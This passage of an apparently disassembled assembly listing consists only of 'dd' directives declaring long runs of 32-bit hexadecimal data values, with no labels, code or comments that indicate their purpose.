		dd 249A2D8h, 192165F8h,	0EC7D0F82h, 8078B106h, 0AAD83D59h
		dd 1200A469h, 5CD7E557h, 14334BECh, 0FCFCDBBAh,	0BD015512h
		dd 0B5CB9E2Bh, 0BA61A77Dh, 1BF9170Eh, 0CD1D97E8h, 0CF4B368Eh
		dd 9DBD02FFh, 253C5475h, 0F9975F67h, 0A6949E9Bh, 0D4038FB1h
		dd 0C4960A31h, 5611A58Bh, 8D09C1EEh, 62173EF9h,	25AA53ACh
		dd 0EC2BC632h, 0E576C4FEh, 0BD33B82Eh, 76E14921h, 92AA9B2Ah
		dd 0FC7B0C00h, 26B2D496h, 9E12EE9h, 0F35C19F1h,	81114471h
		dd 0FC6A8BDBh, 8C42A51h, 0BF867AEBh, 1464A0EDh,	0EB802760h
		dd 75A80E4Ah, 0F8E15E71h, 7111258Eh, 4AFC2F9h, 4BF4DC76h
		dd 8864C1A6h, 1B282E4Bh, 95B88B9Ch, 65BF31B9h, 5386880Ah
		dd 3FDB6096h, 8BCA680h,	1F265463h, 915DE5Ah, 42C04AC8h
		dd 9FE180F8h, 5AE01A4Dh, 9737C2E0h, 57340D24h, 120F22F2h
		dd 0B7E04821h, 0B6954DDFh, 0EB9CEF28h, 0FE276AB5h, 40B0C9C6h
		dd 1E7CB213h, 0E46E1C0Fh, 2E1D0070h, 1237BBA3h,	0E5A57660h
		dd 8C7A3E13h, 6A0AB400h, 50B6B3CBh, 0E540349Ch,	4A71325Ah
		dd 0EF311CEFh, 3520F4D4h, 2F5B3358h, 0CA3AF91Bh, 0B0F81CB6h
		dd 0AB2BBF73h, 26C08951h, 0F19E00D3h, 5C4EB8CDh, 69532675h
		dd 5A0F4732h, 23E149A1h, 20E47D61h, 6E7AE3DAh, 9E56002Ch
		dd 2F527473h, 0BA25FB2h, 0E2EE19E8h, 66D8B325h,	0C85277F7h
		dd 5F03071Eh, 840276E9h, 0D265DBEFh, 562535EDh,	0D2675F0h
		dd 99057F8h, 247B885Bh,	1520FD0Eh, 7989209Ah, 25D680BBh
		dd 0F5542D0Ch, 25CB48CCh, 34C674FFh, 9A952892h,	72DE5310h
		dd 8980E3D8h, 309F0B15h, 2B359C7h, 6E8B7196h, 46DF94D9h
		dd 786D95D4h, 0A0613D68h, 0DE82B33Ch, 8933AEDBh, 0A07878DBh
		dd 941A1854h, 48D34E6Fh, 4CB99C4Ah, 8C1CACh, 8AB59AFEh
		dd 0AF95FCD0h, 1972C74h, 59E38043h, 0F845482Bh,	89BB0C30h
		dd 123637CFh, 518EB612h, 2B6D21E1h, 43DB1424h, 656761C0h
		dd 0F0006836h, 0BFD6DD99h, 124D800Ah, 888B0F62h, 2D8C866Ah
		dd 0B85B227Dh, 9E181B79h, 6ADED602h, 0DFD89347h, 1AB178E0h
		dd 17306880h, 0F81C9C78h, 365C0CFh, 12216B7Eh, 0F061A567h
		dd 7B13CFEDh, 0C4B61C83h, 293C9AE0h, 11AD8512h,	0EDD231E2h
		dd 1740A854h, 0AB113DE8h, 8B607122h, 76A8DA9Dh,	195F89h
		dd 509061F2h, 8F1D9DBFh, 56E72351h, 0E8D98F79h,	0B1F606D2h
		dd 0B09F2D14h, 0F5C8D014h, 0ED29742Eh, 580A879h, 0E9CC0A0h
		dd 7A78F181h, 48A9EF20h, 0A85B0041h, 0D9DC8896h, 270171FAh
		dd 329C64ECh, 0F6EA8DD3h, 135D085Ah, 0C7B35B17h, 0FEB8DD0Eh
		dd 0F74B9001h, 952A88A6h, 0E45BA505h, 0FF181BD9h, 88AE3300h
		dd 0A0E556C4h, 0D78D4A29h, 905949D4h, 9AB73A45h, 0B6093303h
		dd 0AED4B02Bh, 0BF9BF617h, 0E44856C1h, 7B303ADAh, 41099D03h
		dd 0DFA62A2Dh, 1E1523BEh, 16D8EF7Ah, 0A78302A6h, 8D0FC7B0h
		dd 9A2DD0Bh, 895C5495h,	7371615Fh, 55499C47h, 8F7DF29Ch
		dd 38F4FB9Eh, 0BB8B66FCh, 0FA7C7733h, 0F5492110h, 316C5F71h
		dd 0C79D0174h, 0DF1102ADh, 765CE2D8h, 0E08B5EBh, 0DB40B003h
		dd 24D8D89h, 0C0124AD3h, 5204EDA3h, 0AE5FA7B7h,	6ABAFB74h
		dd 9156098Ah, 5D1B5558h, 2D35FA10h, 89579614h, 5B09713Ah
		dd 8D766050h, 0CC81B25Bh, 26DA13Fh, 61EBB510h, 0EAE6964Fh
		dd 0E5F59FE0h, 6C334D20h, 879297E1h, 5C79756h, 1CED9D0Bh
		dd 43675AEh, 0B9137D27h, 7EAFD08Eh, 262B2845h, 6ABDFE91h
		dd 697856F2h, 90618D7h,	9C08FC85h, 0A5A4EC39h, 2DB185D2h
		dd 0C9C07B1Ah, 75201DC5h, 3C0958B8h, 70198376h,	8D539534h
		dd 2B181959h, 5973F905h, 0FC047FF5h, 2DAE11B9h,	0D25E1A56h
		dd 8D4BE0A2h, 0A7C76F51h, 8D9655D9h, 1285897Ah,	8BD2FC2Bh
		dd 0CA594250h, 0EA4CF768h, 853079BDh, 98C5BAFDh, 9B77CA58h
		dd 0D72B9528h, 4D618627h, 60186470h, 77E4EB75h,	699EA15Fh
		dd 0B125C816h, 951DCE09h, 2B441794h, 72C72C80h,	0DBF61EEFh
		dd 0E04D786Eh, 3F63BC2Ah, 99CBD75Dh, 6526600Fh,	0F0BF97C0h
		dd 977FCDCAh, 1FC1432h,	6FB93016h, 8C1DBCh, 0C4E4F2B9h
		dd 0B66D5272h, 0E4F5372Dh, 0B7F39D8Dh, 0B5920D07h, 2591802Eh
		dd 0BFD2F797h, 2C808A93h, 0CC3D74F5h, 7521808Fh, 32577986h
		dd 5B43264Ch, 0DBBF0C41h, 0B52A890Ah, 2EFBC55Dh, 9FF1834h
		dd 0F459558Dh, 0D2273D44h, 0C3142109h, 0C649DD3Ah, 0B36FAF84h
		dd 4A072A00h, 5CCD6D93h, 0BC68A20Eh, 7A9C79BBh,	3DD22D2Bh
		dd 160B8D2h, 3BE6CABAh,	388467Bh, 0ED5B5BCDh, 52BB8045h
		dd 95B9E9B4h, 0BECDFB8Bh, 0A897E8C3h, 4BFFD95Bh, 3A1D8923h
		dd 28090A6Eh, 37737839h, 0D4ADAEh, 0ACE36A92h, 52199199h
		dd 0B70F4213h, 0E89D24AAh, 0CACC80C6h, 0B7B2BA78h, 0CBEB9EE1h
		dd 7CF8744Eh, 98202021h, 0FAFD5B2Dh, 8FC016DEh,	0F008E614h
		dd 9C3D35h, 6078E8D5h, 11BDB52Bh, 0C41FC6BFh, 0B8024180h
		dd 70F0973Dh, 502F2AFAh, 6B070360h, 863D27F8h, 6C6EDD4Fh
		dd 0B5A9B203h, 6EC27967h, 151BFF8h, 1F113B7Fh, 2BF14184h
		dd 15853260h, 0DD238528h, 8AD00979h, 6F1B0A4h, 0FF87CC6Ch
		dd 0DA4B80D1h, 0A435208Ah, 0F36EBE3Dh, 3E67140Dh, 52AE1ECh
		dd 0EF570101h, 0F592026Ah, 1797B390h, 0BBFDFE8Ah, 0F4D977Dh
		dd 0D6AC4AC0h, 12257DECh, 0E889D248h, 214B80F6h, 0A89047h
		dd 4201F8F5h, 3F200780h, 8AD13A04h, 9AEA5BFAh, 0C01AC801h
		dd 291C00Bh, 65A70917h,	12297F04h, 0AE1AE905h, 43CA2338h
		dd 3114E28Fh, 8FCC7BD2h, 145209BFh, 42562EE6h, 50E1DBEBh
		dd 701C7A37h, 145FCE9h,	9AF2509Eh, 616B3E00h, 2FDF8948h
		dd 0F6C29900h, 0CCDD5F65h, 98224986h, 0C4E2E94Fh, 4BB89298h
		dd 80B89F5Eh, 0F765DE6Bh, 0A5090510h, 0C7666041h, 61F831B0h
		dd 4E172EF5h, 0E7F882E9h, 7510D30Bh, 253B5EAFh,	0BF035066h
		dd 421FD6F2h, 19CCE46Ah, 0C2449F12h, 7A9FF398h,	0AB66B522h
		dd 1759BB1Fh, 0BF045ED7h, 0ECAC01E1h, 0B09C58A7h, 1866425h
		dd 0C2226798h, 0D8911F71h, 3A0E7055h, 0A2E6F28Ch, 0C8998529h
		dd 9771E4C8h, 0AC76490Fh, 84E9C8EEh, 0AC20CB80h, 9D890BFEh
		dd 0E9EB56D1h, 1074F41h, 3C6197B3h, 0B1413692h,	3DD42FAh
		dd 0DB129028h, 0C07FFDB1h, 72EF81ADh, 0D18B401Fh, 93E38DD2h
		dd 0AE2EDD12h, 0BD319F61h, 0E888F45h, 4C094189h, 3C0092DEh
		dd 73E2D805h, 7E8EC618h, 745FE79h, 952936D1h, 4134CDB5h
		dd 2DDDBD6Ah, 7C0130Fh,	0AA1A3D1Dh, 8996560Eh, 0E15A7818h
		dd 0C4601D44h, 0AA22FD4Ah, 1BD35260h, 6CBE1E85h, 3747D761h
		dd 56208469h, 0BB6813AAh, 4DB68960h, 0C0010486h, 0AC2105F7h
		dd 9A2588FAh, 0A8F23809h, 0FE22A550h, 949C0A0h,	8AA11E94h
		dd 144A720h, 0F9B095F9h, 258313DDh, 40EA553Ch, 80F5377Fh
		dd 4054B678h, 9C160A7Eh, 5056B538h, 458271BBh, 55B90208h
		dd 37935858h, 28D2178h,	3E7019CFh, 0FD56F5C2h, 0A1585E23h
		dd 0BBCD0172h, 7F3250C9h
		dd 80F37CB5h, 5C765952h, 446A005Dh, 3F8EF4FEh, 0DB95FC5Fh
		dd 0A9627091h, 29BDC509h, 0A0A2F59Dh, 0FD5EC02Bh, 76E500DCh
		dd 1128FE10h, 0B5182988h, 0D2550655h, 0CC4A0BBFh, 175C3D8Ch
		dd 0B7B5F5DAh, 0B86D2F0Fh, 4A7FE29Eh, 80EADB02h, 0DDF8B38h
		dd 0D5EFB788h, 860F8561h, 0B58A3Bh, 100E9D70h, 0DFB426h
		dd 1D82A720h, 0FD166587h, 63DCAA13h, 17BB3E02h,	0D6515C93h
		dd 0AF4A1A46h, 0B9963742h, 61C4FD89h, 0E7815100h, 29D899BBh
		dd 651B975Fh, 0ECC6C7E8h, 0C5577C25h, 0BA16A63h, 8CD404FDh
		dd 0AEC4A0C0h, 6996041Bh, 0AE2536D8h, 10C1A004h, 1BE750B8h
		dd 0F6755Eh, 3D7B2818h,	562198B2h, 0B3DF3807h, 0D509B822h
		dd 0C180353Dh, 6B88DBCAh, 8B16167Bh, 8268B9FEh,	41B973BBh
		dd 2CEA19Dh, 68FCE1FFh,	50D3764Bh, 84004568h, 8795A41Ah
		dd 4ECD9D33h, 0A7CF970Eh, 9071090Dh, 45328C4h, 0BF2D5194h
		dd 3013EFCEh, 0A59BF704h, 0FEA512FEh, 9A88B013h, 0D4793DC5h
		dd 0A0AC1C00h, 372C1A7Ch, 1B1F9B01h, 3A779671h,	0B5A7282Eh
		dd 28307DD3h, 28BA73Fh,	29F67E94h, 685660C0h, 1BE01DCh
		dd 0B3A878C8h, 0AE152EA4h, 42FBDF9h, 1277116h, 1D31BD0Bh
		dd 4A35A23Ah, 7BE420C8h, 3E9AB7A6h, 0CA97C456h,	0FFF92332h
		dd 54B569B9h, 0D49FACEFh, 0C311085h, 71CFF15Bh,	19284537h
		dd 84DA4A9Eh, 7D8D31D2h, 0EC68CD90h, 56AC253Fh,	0BD9F4B38h
		dd 13630095h, 0BE56B33Ch, 2676E9E8h, 225E00D4h,	6AC66C53h
		dd 645E46DFh, 9127CF3h,	2FDDA9B5h, 5157FB89h, 71181Dh
		dd 74942902h, 8AB4330Dh, 58F8B92Dh, 317395ECh, 9727BFD0h
		dd 0A34F5A12h, 1EC87740h, 71C1127Fh, 83ABFC5Ch,	88612294h
		dd 0ED040E6h, 0EC3C2B12h, 0E1B84660h, 57121AA9h, 64AAB4DDh
		dd 898DACE6h, 0AD5773F8h, 29400AEDh, 2D2BD91Fh,	8910ADFDh
		dd 0E2033225h, 867EA415h, 5FAE807Ch, 27CEF2ACh,	0F75B89A6h
		dd 4946AC78h, 0AC9770FBh, 539576A0h, 0CDFB27D9h, 9D87950h
		dd 0B5336051h, 960B9812h, 61672157h, 887F505Fh,	1C4B0D22h
		dd 6A5B1F8Bh, 0E123F72h, 698ABF52h, 7CC2460h, 9B35EB12h
		dd 0C32DE1A0h, 6301BB8Dh, 46CA8E4Bh, 5059B702h,	0C6FE830Fh
		dd 0B6615759h, 254689B0h, 96F354A3h, 0A690D862h, 958DF958h
		dd 3AF86073h, 231B00E1h, 2FBBFB20h, 2B82905h, 0C5348D20h
		dd 12DFBFA6h, 2CD188ADh, 23AC8D00h, 0C519EAC3h,	0B306092Dh
		dd 518B65D5h, 8098377Fh, 969CE869h, 28514FB4h, 2A0BC5B3h
		dd 6A4E65CBh, 0D78E05D4h, 4D6B613Fh, 923EC000h,	0AA913888h
		dd 819D2316h, 0DF0021FAh, 0C251E531h, 91173FD7h, 6418119h
		dd 14CDB45Fh, 0ED7827Ah, 0EB2A9CD5h, 3A3227Bh, 28DA9A2Ch
		dd 90820E9h, 0B780F781h, 2DDD0971h, 1D4DC56h, 21F1AAB0h
		dd 3F1CB4EDh, 9918760Bh, 9B2B7FC3h, 0F5138085h,	308D0360h
		dd 81511589h, 8C4BD7D0h, 2F142A8Bh, 0EF82BB04h,	0DB96D81Ah
		dd 89251D69h, 0D69EF6EDh, 0B2251446h, 18598C5Bh, 1C243A19h
		dd 2829A081h, 5A30CB6Ah, 6EA21EE6h, 0AD004C71h,	79B583CBh
		dd 34E2F464h, 81263BB4h, 21D113Bh, 0C8465C5Fh, 0FE4A01DEh
		dd 3845BD89h, 59962714h, 5B5283B3h, 0CB9F5750h,	0E071EBF3h
		dd 0ED9E207Bh, 0A401D4F0h, 0E2BBD0DFh, 0EA639F04h, 64B6C800h
		dd 335E2F8Eh, 4FDB5F1Fh, 9A28E1C0h, 0A59F43Fh, 5B4E20F0h
		dd 1B46DCEBh, 0AF07C500h, 0B278920Eh, 0BD2B050Bh, 606CE039h
		dd 0D6B7000Fh, 944318B9h, 5B9D615Bh, 0E16DA585h, 0FAAEB541h
		dd 85190024h, 0CB8D010Eh, 0D47330h, 65D11226h, 0A104DCF0h
		dd 1121EDBCh, 29C384B8h, 28A4F595h, 9561F660h, 1D59BE5Bh
		dd 7D002018h, 377BAA32h, 4EB011A0h, 1E0CAD41h, 4C6DF9BDh
		dd 0BB440065h, 628C4AE6h, 22007D90h, 15980630h,	25E36502h
		dd 91C2C4D1h, 2FE0DE4Dh, 49B0A27h, 0DB803DE0h, 0D5B5B998h
		dd 35DAC06h, 0ADBCE135h, 0DA0822C9h, 21BB59Dh, 37AA64BBh
		dd 0BC569CC2h, 70197B49h, 87208490h, 13C530E2h,	0B7BC6A61h
		dd 59993474h, 4BC12A6Ch, 29BC9C0Bh, 779BD10h, 0E30B8548h
		dd 7FE14043h, 2ED575D9h, 6EE0B8F6h, 42A43C5Eh, 41F7800Bh
		dd 9EC798E8h, 0B2B6196Eh, 6AD87083h, 0F8E5CBD9h, 3CA8282Eh
		dd 0BA09DF8Ah, 0F7893C02h, 95F34677h, 0CD87F754h, 1B424C47h
		dd 9E9FD5CEh, 0F8801891h, 9BF2C6C4h, 683DCD95h,	12F6E0DFh
		dd 0F55C8EC1h, 0CECD4A00h, 0DAB98542h, 0B2DE4AE5h, 3AAFA8B3h
		dd 598916CDh, 0E7D49E37h, 0C6E15F40h, 0E36E00B5h, 0F2896510h
		dd 0CC12F514h, 50151DEh, 5BF9F0F3h, 0C8BA55C6h,	0CF355Fh
		dd 0AC6B7BCEh, 4E26AE01h, 9D045F3Ah, 38AB09DDh,	248A51CAh
		dd 2DAB1888h, 636A2BCAh, 0CEF08700h, 39130CDBh,	995891Ah
		dd 12FA5677h, 804BFCF8h, 64C247B3h, 41840F1Ah, 0BA009BFFh
		dd 0E78191C7h, 696DFB04h, 0EAB85F1Eh, 18D09B0h,	30E9DDC4h
		dd 0F84DBDB8h, 0E63FE3BCh, 0F2D76E2h, 42C34489h, 0B1C86284h
		dd 75C6FD12h, 7335B5h, 0C6A41DE1h, 600B51D2h, 7674C180h
		dd 5F61627Bh, 9A955850h, 10979DCh, 0D3AB09FEh, 0C6A7C414h
		dd 2EA2505Eh, 9E697403h, 4227787Ch, 0B51DFADEh,	0AE840690h
		dd 51ACDB00h, 0A0298CDh, 0AD270BE8h, 3D577CD2h,	0C4F1005Eh
		dd 0F47D629h, 439E4F97h, 0C0AAF637h, 0A012E658h, 0C77A149Fh
		dd 88EEBA00h, 173E3F84h, 0AD2096B8h, 0D381021Fh, 65F715CBh
		dd 6B26055Eh, 1C21FCDEh, 494E3A7Ah, 13C69D29h, 0FD202AEDh
		dd 4E78A6B0h, 0EA075271h, 7B856Fh, 7B5B2AFBh, 0F533A3A6h
		dd 99A948D6h, 0C8608AD6h, 0D750C018h, 0B44CFC61h, 0B091215h
		dd 0F4C3DF7h, 70F78100h, 0FF4E32F2h, 8D31D112h,	305E8E9h
		dd 0AA1CAD9Dh, 5A300C8Eh, 2F6BF6Fh, 6A7403F0h, 914B90BFh
		dd 1C0B7CFDh, 89161B2Eh, 0D06101FEh, 4677E609h,	5467001Ah
		dd 4E331F03h, 591E40A5h, 3F9E43F4h, 25B0F915h, 64E8CDF8h
		dd 0FE8F6115h, 25D5A160h, 3071BEE9h, 19FAAC2h, 0D6359D33h
		dd 24D7B60Ch, 3C32C720h, 0E793369Dh, 0FC699D5Ch, 15512DF0h
		dd 0D6AD5054h, 0F3040A1h, 80C98F58h, 45C38160h,	9802FE26h
		dd 0B561FC2Fh, 0EEE90AE7h, 3A9C2D63h, 23172B64h, 24EEF158h
		dd 2E76CD96h, 690057E3h, 0AEAD4BB6h, 2B1E79E2h,	0B44BBF66h
		dd 0E23B565Bh, 974800Fh, 0E5B9DE44h, 0B0C5E74Eh, 14B06BDFh
		dd 9626801Bh, 252FD110h, 0AD3A73F8h, 0EC425DCDh, 6A8A40FCh
		dd 0DC509CFFh, 3838555Ch, 0EDDC49CDh, 461F26Eh,	12F99D89h
		dd 97D8C2F4h, 39BE2DB3h, 0B0C9B312h, 569730AEh,	3100C262h
		dd 4EBED7B7h, 4321B8Ah,	5B7E73C8h, 0FE58816Fh, 0E647605Fh
		dd 0E4F97000h, 3B9DBB71h, 0B83C4F4Bh, 17F2D686h, 0E7481F00h
		dd 0C8D7B183h, 0A5327395h, 85C79877h, 2E0B4155h, 47E34D12h
		dd 0AACEC135h, 716C525Ah, 0F0FE92E8h, 8D30293Fh, 0C82BED19h
		dd 1154D809h, 0E955D18Bh, 6CB22F37h, 49107258h,	0DEA04C2Dh
		dd 0C1B5A58Fh, 0C1953102h, 905F1964h, 553D69F3h, 59B53070h
		dd 12B74Eh, 92F7CB81h, 0E96F7425h, 0EC151233h, 2015101Eh
		dd 2D36E911h, 2D707429h, 0E0ECBCFEh, 1E9197F9h,	9D23101Eh
		dd 71054285h, 0A5780B45h, 6B405158h, 0A0EB2580h, 862017ECh
		dd 5D66BF1Dh, 0A97B897Dh, 0F061DB95h, 0D7258047h, 0E2075C1Eh
		dd 0B224010Dh, 29578A49h, 71975B06h, 0AE98D39Ah, 92902D98h
		dd 8381852Ah, 8C0FFC16h
		dd 63FFBD30h, 2B681377h, 1D59C8C0h, 0EDFA200h, 9563D742h
		dd 0EA20006Ch, 51A88CF8h, 0EB138191h, 6AFF9BB0h, 0F4985EF0h
		dd 2B5F0003h, 1F5D1B0Bh, 0F1C92EDh, 53252A8Bh, 45F0041h
		dd 9F0D283Ah, 1BE6AA05h, 584080AEh, 0A181270Ch,	979100EFh
		dd 0CF306183h, 0F40729A2h, 0FEEC4113h, 5E5B8D22h, 3DFEDA10h
		dd 20809D4h, 2D04F21Ah,	4FF1B8D8h, 23A1ABE7h, 348F6050h
		dd 3D27B575h, 0E40E565Fh, 5CD967F8h, 0BBA05C08h, 0A6C93E55h
		dd 0DC547CDFh, 0DFC05912h, 10A52509h, 4B65BD5Dh, 22BC8E22h
		dd 2549938Eh, 5B95BFF0h, 18155108h, 0C2745A57h,	0CE2E059Bh
		dd 2FB9F255h, 8762BFCFh, 0C59501Dh, 0CD2A3D00h,	929CB63h
		dd 0E1FF5383h, 43C0354Dh, 9C2C98Dh, 0F0B42146h,	0A50001F9h
		dd 2CD23DDBh, 1CDD00AFh, 18D99A4Ah, 301ECB3Ch, 0FA04BF89h
		dd 0C6B866ECh, 0C20452A1h, 0E3D8EDDFh, 17805B99h, 0F012C91Bh
		dd 20FB2430h, 0B2E80FB3h, 48859500h, 0A0AA89CDh, 7AF402CAh
		dd 2A52719Fh, 2651FA5Ch, 1B7C8EA7h, 0D11404DEh,	0EE3AB217h
		dd 0C12B6DCDh, 2EA00D80h, 0E9B8ED28h, 8048DE3Ah, 0F380CD64h
		dd 0DB604ED6h, 947C808Fh, 999E579h, 7EEF0838h, 403D6F57h
		dd 21DA2582h, 0A6F0BB04h, 0FEB8269Ah, 96B8675Dh, 0C82531B4h
		dd 0BF01370Fh, 4545CECFh, 0EB84D7FDh, 0D5C1AC3Bh, 0CDB74AD5h
		dd 80849A4Ah, 10BAE66Bh, 0DA3F4832h, 21415D3Bh,	5647295Ch
		dd 0EF80F5C0h, 1ADAA05Ah, 46DC86DEh, 890030D9h,	71C3C0CDh
		dd 0CBB20E8Eh, 0B8522E9Eh, 0FEBBB0F2h, 1B73193Eh, 20BF698Bh
		dd 3779C121h, 0FCF05890h, 82BD7648h, 55585B52h,	359765C6h
		dd 8516918Ah, 90098CFDh, 35BF7785h, 0D1C8A000h,	197E1DE3h
		dd 543515DDh, 0E99D8951h, 411A2AB3h, 0C4574BDEh, 468DAC2Eh
		dd 48B5E076h, 5F8B979Dh, 0FCD8A45Bh, 0DDF64169h, 63B63A23h
		dd 553014F2h, 9AF4B829h, 0FB6D9526h, 33631564h,	290689F0h
		dd 0DA319D38h, 0C25E96F7h, 3AF8462Bh, 1025520h,	0DB05BF96h
		dd 0DE500A79h, 11D0E15Dh, 684D702Fh, 0EDF6937Eh, 994963B5h
		dd 74F60E70h, 9500DCCCh, 0CDB5EF45h, 1209ED34h,	0BF9D33B8h
		dd 9AEAE1C4h, 0C017C81Dh, 2EFC7306h, 489A1195h,	82B2E27Bh
		dd 252DBD2Bh, 0FE78C45Bh, 14B93B94h, 0B902ADECh, 166131C4h
		dd 8257D911h, 2E99BD03h, 295BBF00h, 0E94649A0h,	1FB297h
		dd 15A370D4h, 0E76F71Bh, 7D653C72h, 0BCE09441h,	0BD683022h
		dd 5FE33954h, 95316104h, 9BEA05DDh, 113512E6h, 3188D2E3h
		dd 4D285198h, 0E95B8009h, 0DE1B3F69h, 0DD0EDC8Bh, 6154E783h
		dd 0F9096CCCh, 0E1F03A2Eh, 0E63A70B7h, 8539E1DDh, 24B77FFCh
		dd 4293BC5h, 0B8149EBBh, 401A1C3h, 0A0C4F73Ah, 73566057h
		dd 93281629h, 0FD76814Bh, 13EF4BEAh, 0F8A903CCh, 0C0167E80h
		dd 80BC5F2h, 0E6B5E292h, 754D90B8h, 0D80981CDh,	539D2A3Dh
		dd 8135EBF4h, 2FF96F80h, 132618D3h, 0AC95BE8Ch,	6C809F7Ch
		dd 0B2D18922h, 0A1F20024h, 5CBCBA7Ah, 4F3CA703h, 10554885h
		dd 0B64A1E5Dh, 3018E20Fh, 5116B75Bh, 65177B26h,	4A7D3CEDh
		dd 2E557h, 5A9591E6h, 0CDF5584Fh, 0EC5F0463h, 86A00DAh
		dd 0C84C7151h, 0AC8F56DDh, 0AD2D844Ah, 0AC9DD183h, 0E7640115h
		dd 8F4A7B3Fh, 1FB3C487h, 0CF75C9AAh, 13BD60FCh,	3900CD78h
		dd 67A3BA6Bh, 4AAD9D2Bh, 3E1DE72Ah, 0D593589h, 6A4C91EBh
		dd 803D6CABh, 0BC6117D6h, 2F973A2Dh, 92DB2483h,	86AC14E3h
		dd 59E0277Fh, 2175BB5h,	21C5B529h, 70383A57h, 0A6FA9FC0h
		dd 0AD0BFD21h, 78365E90h, 2A58960Fh, 0A210421Ah, 686E5C94h
		dd 53F91BEDh, 0DB59D98h, 795E5B95h, 9E51818h, 0B4A2F3Ah
		dd 0FD04CF64h, 9B1B399Dh, 0B41F6AEh, 63F7C5CBh,	0E770480Eh
		dd 4BE9BD4Ah, 66A0CC8Ah, 7C0453B2h, 0F2F978DFh,	0C4B73C95h
		dd 1AACFA59h, 0B5ED2807h, 5B126743h, 61F89886h,	290300DEh
		dd 489A33ABh, 640AB798h, 0D9E4ADB9h, 132D910Bh,	40BBBFB5h
		dd 958A50DEh, 0B86077C8h, 164DB65Ch, 4FAC8B46h,	0A2146189h
		dd 9694DF4Bh, 2ED7BEAh,	0C6D62EBFh, 51B55C56h, 0DB0C39h
		dd 0A15E781h, 0B79646B4h, 5E50E93Ah, 4681559Bh,	6CB23EE0h
		dd 0C423CE58h, 6FAE0A49h, 251C234Ch, 0A34F125Eh, 10BA590Eh
		dd 0B27C16Ch, 6271B589h, 0A215D5A4h, 569A9940h,	0BD7809E3h
		dd 0AA02BAB3h, 66001D0Dh, 0A418F8BFh, 5E619D69h, 76DC6A09h
		dd 526809BBh, 89711417h, 0DA203944h, 0D43B8060h, 61D31292h
		dd 23DB6BAAh, 0DECB0416h, 0C62A92C5h, 0B12D4AF2h, 0E92D5908h
		dd 2870A553h, 0D0963020h, 0F1B53168h, 0E8C1E3D6h, 172E9FE9h
		dd 80809B95h, 0B6094FCh, 9ACD48BDh, 5A7AAA93h, 0BBDC6202h
		dd 0B1C0481Eh, 5F820225h, 0AD13230Eh, 0CF998165h, 0B8C22528h
		dd 9E7BE901h, 17B700C5h, 2BE158D4h, 0C138F401h,	0E057D30Ch
		dd 13AEEE0h, 0ECA09BBh,	0D47EEC18h, 4800CF8Bh, 71E864A5h
		dd 0C682BDh, 0E763984Fh, 0B111F804h, 6BD8D100h,	32CC5855h
		dd 50440F79h, 0E40F9739h, 8D27AE6Fh, 0CB0F5B0Eh, 8C78AF00h
		dd 3300D2F1h, 0EA0439F2h, 7AD1514h, 496DCC7Ch, 20F400EDh
		dd 9B00BA67h, 3709CDAAh, 1A9236h, 7065DC9h, 8AC569F2h
		dd 0A347CE07h, 0C1219668h, 44936301h, 0B29F00E5h, 1F317213h
		dd 0ABE69C00h, 0A05E7BF7h, 0E4E836h, 0EB3893Dh,	6EFEF1CCh
		dd 1647460Eh, 6EA853Ah,	0E71CBF00h, 66D36C3Bh, 5E545615h
		dd 94E8293Bh, 24A3336Ah, 230E172Ch, 0CEC260A4h,	54D37552h
		dd 39BC76h, 7B32A9D7h, 23D24E42h, 77E79F61h, 8F49DEFBh
		dd 198F66D5h, 5D2118A7h, 9D3A8883h, 0A18CDA15h,	0C50F21h
		dd 0A7708D69h, 336B3666h, 71014630h, 0E7A3284h,	16DA453Ah
		dd 1E4B1E7h, 0E8441A14h, 42C0BFFDh, 73401D19h, 0C49600CDh
		dd 611552F5h, 9E004605h, 0A2B7BB67h, 0F442E5E4h, 25E0011h
		dd 7E5B9037h, 1F00069Dh, 0FF763269h, 0FD37848h,	68FEBA96h
		dd 533F7E40h, 55008C34h, 38D7ECA1h, 0C7D57F9h, 51F198C9h
		dd 0B95EB5C3h, 7D76D5E0h, 85C60FCDh, 0A0E082E3h, 0F7A7C45Dh
		dd 0F029E000h, 81205304h, 6A992864h, 520916BAh,	0E78F059Fh
		dd 8151BC93h, 0E062497Eh, 28046380h, 8C41584Ch,	0C9F5301h
		dd 279B8E70h, 63BF2180h, 171EB586h, 24367500h, 681DEF95h
		dd 0DF430C2Fh, 0CB32E603h, 32DE1500h, 0EEA2192Eh, 1E9D00AFh
		dd 6C1A2F66h, 7D00BA6Dh, 276F6A63h, 0C0C9F0h, 0A260C28Eh
		dd 2B8C3FB5h, 99608078h, 2A462274h, 851014Dh, 0D011D46Bh
		dd 0B0D49E4Eh, 1ACBF2h,	58532D3Fh, 0AAFEA60h, 8E4C05h
		dd 15674707h, 106A1C31h, 6CA34900h, 149FBCB8h, 3F33246Eh
		dd 0F53C0757h, 7F3A9053h, 0BA128FCCh, 0D036604h, 70E45E4Dh
		dd 40240657h, 13B80554h, 0A1097F78h, 4356944h, 0C322492Ch
		dd 40026440h, 0C8A42BC0h, 8128B3h, 0C7BBFCADh, 0E675876Bh
		dd 1C083D07h, 44104318h, 73BA669Bh, 792D041Bh, 80D6AC62h
		dd 0B022CEFBh, 5E000179h, 7FA63DF4h, 1D91CAh, 0D0AA31C8h
		dd 0FC0630D9h, 0B7B46700h, 89A943B2h, 0F6D3286Eh, 5D7C13EFh
		dd 3E4900A6h, 55F14785h, 20196600h, 2C7B274Bh, 23043994h
		dd 0C300A5BAh, 0D415B8CFh, 63003B20h, 5E6CF07Dh, 0B34EF8h
		dd 431DB01Ch, 0E094D578h, 23C58401h, 9D3407E4h,	1AC0EBE4h
		dd 50CC79C9h, 29A5E060h, 0DB845700h, 610AD1A6h,	3052722Ch
		dd 2127C57Dh, 760C2845h
		dd 0DE73A85Fh, 1B1A03B9h, 0A17B2F64h, 233875B0h, 85915C1Eh
		dd 80713945h, 0CC8FB840h, 1426DA17h, 0BE972D4Ah, 818BC402h
		dd 0BC6258C8h, 8469741h, 66E810h, 73725B75h, 4097E421h
		dd 0A4C43Ch, 399593B8h,	0CAAECBh, 487F25B4h, 6B437833h
		dd 0C7A3B0A0h, 3BCDB1Eh, 7B578CC0h, 8F38BFh, 5D4A65Ah
		dd 0FCB02760h, 6DC9BD09h, 5E8C9190h, 93C8DC50h,	0E4A73CB9h
		dd 943C5F80h, 199DBAB6h, 1261E6B0h, 8D40FBDCh, 98E6C920h
		dd 286B6982h, 2D78200h,	48954B4Eh, 4D42E96Ah, 6407510Dh
		dd 521AC15Ch, 3D40D949h, 8624FDEDh, 720EC6E3h, 4FF3864Eh
		dd 0CF70171Bh, 0DB8A0730h, 875E9001h, 0BF066CF9h, 9DBB0702h
